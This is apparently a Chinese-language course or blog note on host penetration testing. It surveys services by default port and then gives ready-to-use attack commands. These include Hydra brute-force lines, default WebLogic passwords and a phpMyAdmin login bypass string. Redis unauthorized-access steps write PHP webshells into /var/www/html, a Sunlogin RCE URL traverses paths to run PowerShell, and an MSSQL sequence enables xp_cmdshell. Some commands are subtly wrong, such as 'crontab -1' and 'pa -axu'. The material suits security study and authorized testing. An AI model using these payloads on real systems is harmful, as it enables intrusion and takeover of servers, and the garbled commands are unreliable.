DAY27:主机渗透测试
1、主机渗透的概述
1.1、主机渗透基础
所面对的对象都有哪些
主机:Linux、Windows(ubuntu系列、Centos系列、红帽系列、麒麟系列等等操作系统)
终端:手机、路由器、IOT设备、安全设备等等
1.2、所需要了解的名词都有哪些
端口:可以认为是设备与外界通讯交流的出口。端口可分为虚拟端口和物理端口,其中虚拟端口指计算机 内部或交换机路由器内的端口,不可见。例如计算机中的80端口、21端口、23端口等。物理端口又称为接口,是可见端口,计算机背板的RJ45网口,交换机路由器集线器等 RJ45 端口。电话使用RJ11插口也属于物理端口的范畴
服务:以提供某种持续化状态的进程或者应用,例如Web服务是提供持续化的80端口的应用服务
权限:为了划分用户所能操作的范围,根据能操作的内容会分为不同的权限,例如普通用户权限,管理员 权限,超级管理员权限等等
指纹:是指某个设备或者软件所携带的本类设备所特有的一些特征,例如如何判断是 windows 或者 Linux
1.3、主机渗透常见命令
查看主机存活性:ping
查看主机是否开放端口:telnet
查看连接情况:netstat –an
查看IP地址:ipconfig(windows下)、ifconfig(linux下)、ip addr
查看hex:cat /etc/shadow
查看系统配置:uname -an
查看可登录用户:cat /etc/passwd
查看所有执行命令的文件:cat .bash_history
查看历史登录信息:last
开机执行文件:cat .profile
回收站:cd /tmp
开机计划任务文件:/etc/rc.log
文件:pa -axu ;cd /proc/ ;ls
环境变量:cat environ
定时任务:crontab -1
windows下的查看:type \文件路径
添加新用户:net localgroup Administrators 你要加入的用户名 /add
/etc/apparmor.d/usr.sbin.mysqld
show variables like '%datadir%';
show global variables like '%secure%';
1、secure_file_priv 修改为空
2、/etc/apparmor.d/usr.sbin.mysqld 添加/var/www/html/** rw,
3、给html目录777权限
1.4、主机渗透常见用工具
Nmap
Hydra
MSF
nessus
2、主机渗透常用端口
1、 端口的banner信息
2、 端口上运行的服务
3、 常见应用的默认端口
2.1、服务默认端口
公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;
21号端口:文件传输协议 - 控制端口
22号端口:SSH (Secure Shell)- 远程登录协议
23号端口:Telnet 终端仿真协议 - 未加密文本通信
25号端口:SMTP (简单邮件传输协议)
80号端口:超文本传输协议 - 用于传输网页
443号端口:超文本传输安全协议 - 超文本传输协议 over TLS/SSL (加密传输)
445号端口:SMB文件共享
3306号端口:MySQL 数据库系统
3389号端口:远程桌面协议(RDP)
注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;
2.2、FTP服务
ftp服务我分为两种情况
第一种是使用系统软件来配置,比如IIS中的 FTP文件共享或Linux中的默认服务软件;
第二种是通过第三方软件来配置,比如Serv-U还有一些网上写的简易ftp服务器等;
默认端口
20(数据端口);
21(控制端口);
69(tftp小型文件传输协议)
2.3、SMB服务
Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;
Samba登录分为两种方式,一种是需要用户名口令;另一种是不需要用户名口令。
默认端口:
137(主要用户NetBIOS Name Service;NetBIOS名称服务)
139 (NetBIOS Session Service,主要提供samba服务)
弱口令(爆破工具采用hydra)hydra -l username -P
2.4、LDAP服务
LDAP:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;
这些问题的出现也都是因为配置不当而造成的。
默认端口:389
攻击方式:
注入攻击:盲注
未授权访问:
爆破:弱口令
2.5、SSH 服务
SSH服务:这个服务基本会出现在我们的Linux服务器,网络设备,安全设备等设备上,而且很多时候这个服务的配置都是默认的;
默认端口:22
攻击方式
爆破:弱口令、
漏洞:28退格漏洞、OpenSSL漏洞
2.6、Telnet 服务
Telnet服务:在SSH服务崛起的今天我们已经很难见到使用telnet的服务器,但是在很多设备上同样还是有这个服务的;
比如cisco、华三,深信服等厂商的设备;可以通过 telnet 弱口令控制这些设备;
默认端口:23
攻击方式
爆破:弱口令
嗅探:此种情况一般发生在局域网;
2.7、RDP 服务(远程桌面服务)
远程桌面连接:作为 windows 上进行远程连接的端口,很多时候我们在得到系统为windows的shell的时候我们总是希望可以登录3389实际操作对方电脑;
一种是内网,需要先将目标机3389端口反弹到外网;
另一种就是外网,我们可以直接访问;
当然这两种情况我们利用起来可能需要很苛刻的条件,比如找到登录密码等等;
默认端口:3389
攻击方式:
爆破:3389端口爆破工具就有点多了
Shift粘滞键后门:5次shift后门
3389漏洞攻击:利用ms12-020攻击3389端口,导致服务器关机
2.8、VNC服务
VNC:一款优秀的远控工具,常用语类UNIX系统上,简单功能强大;
默认端口:5900+桌面ID(5901;5902)
攻击方式: 爆破:弱口令
认证口令绕过:
拒绝服务攻击:(CVE-2015-5239)
权限提升:(CVE-2013-6886)
2.9、Web 服务
HTTP服务:对于http服务其实是我们目前这几年比较常见的攻击入口,所以这里会针对http服务进行一个详细的详解;
注:这个板块的所有攻击方式,如果涉及到常规的web漏洞不会提出来,除非是特定的服务器才会产生的漏洞;
2.10、IIS 服务
默认端口:80/81/443
攻击方式:
IIS PUT写文件:利用IIS漏洞,put方法直接将文件放置到服务器上
短文件名泄漏:这种一般没啥影响
解析漏洞:详细见apache服务
2.11、apache、tomcat 等服务
默认端口:80/8080
攻击方式:
爆破:弱口令(爆破manager后台)
HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
2.12、中间件:weblogic
默认端口:7001
攻击方式:
爆破:弱口令 4组:用户名密码均一致:system weblogic(密码可能weblogic123)
portaladmin guest
Congsole后台部署webshell
Java反序列化
2.13、MySQL服务
默认端口:3306
攻击方式:
爆破:弱口令
身份认证漏洞:CVE-2012-2122
拒绝服务攻击:利用sql语句是服务器进行死循环打死服务器
Phpmyadmin万能密码绕过:用户名:‘localhost’@’@” 密码任意
2.14、MSSQL服务
默认端口:1433(Server 数据库服务)、1434(Monitor 数据库监控)
攻击方式:
爆破:弱口令/使用系统用户
利用MSSQL提权
2.15、Redis 服务
redis:是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库
关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问
默认端口:6379
攻击方式:
爆破:弱口令
未授权访问+配合ssh key提权;
redis数据库写文件
config set dir /var/www/html
set xxx "/n<?php @eval(['111']);?>/n"
config set dbfilename xxx.php
save
2.16、ES服务
elasticsearch:非关系型数据库
默认端口:9200()、9300()
攻击方式:
未授权访问;
远程命令执行;
文件遍历;
低版本webshell植入;
3、思路总结:
4、主机渗透常用工具
4.1、nmap 扫描工具
kali 自带工具,扫描可调速,有详细信息划分,扫描等级等等,扫描利器
Nmap使用指南 · Ywc’s blog (yinwc.github.io)
nmap -v -A scanme.nmap
nmap -v -sn 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -Pn -p 80
4.2、masscan 扫描工具
据说 2小时跑完互联网,真的不试一试嘛
kali 自带工具,速度极快,但不会显示具体信息,可以配合 telnet 使用
masscan -p80,8000-8100 10.0.0.0/8 --rate=10000
scan some web ports on 10.x.x.x at 10kpps
masscan --nmap
list those options that are compatible with nmap
masscan -p80 10.0.0.0/8 --banners -oB <filename>
save results of scan in binary format to <filename>
masscan --open --banners --readscan <filename> -oX <savefile>
read binary scan results in <filename> and save them as xml in <savefile>
4.3、hydra 九头蛇弱口令爆破工具
kali 自带工具,可以爆破任意指定端口弱口令,需要字典,会将符合条件的输出
hydra -L dic/username.txt -P dic/password.txt ssh://your ip:22
4.4、破解hscan、x-scan、超级弱口令、S-Xing 弱口令扫描工具
极力推荐超级弱口令工具,自带字典,端口一键式扫描爆破,傻瓜式操作
5、主机渗透漏洞利用
5.1、端口扫描
端口扫描:
nmap -p 1-65535 -T4 -A -v ip
5.2、操作系统扫描
nmap -O ip
5.3、端口爆破利用实战—ssh爆破
5.4、端口爆破利用实战—MySQL爆破
hydra、超级弱口令检查工具都可
hydra.exe -L user.txt -P passwd.txt mysql://ip:3306
5.5、端口爆破利用实战—MSSQL爆破
5.6、端口爆破利用实战—Tomcat爆破
6、实战
6.1、redis
nmap -A -Pn -v -p1-65535 target
nmap ip
扫描到端口
爆破成功
找到的插件,使用redis-cli.exe
文件,打开cmd
成功,写一个webshell上传
config set dir /var/www/html
set xxx "/n<?php @eval(['111']);?>/n"
config set dbfilename xxx.php
save
因为在 /var/www/html
,所以可以直接执行,蚁剑连接 getshell
6.2、向日葵 rce
目标为提前连接好向日葵的主机(漏洞版本向日葵是<=11.0.0.33版本的)
使用 nmap 扫描,一般在40000朝上,发现49156是相应端口
浏览器访问ip+端口号+cgi-bin/rpc?action=verify-haras(获取session值CID)
一个一个端口尝试
http://yourip:port/cgi-bin/rpc?action=verify-haras
{"__code":0,"enabled":"1","verify_string":"xNgzTtNIdKYq6v4djTx1wvUfJ1Ph51kX","code":0}
拿到CID-添加payload和cookie-发送,构建payload:
http://192.168.182.13:49156/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20whoami
成功
6.3、未授权利用实战
redis-cli -h 10.91.214.205
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET shell "<?php system($_GET['cmd']);?>"
save
https://blog.51cto/u_15127519/4564997
6.4、MSSQL的提权
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
执行:
EXEC master.dbo.xp_cmdshell '命令'
更多推荐
DAY27:主机渗透测试
发布评论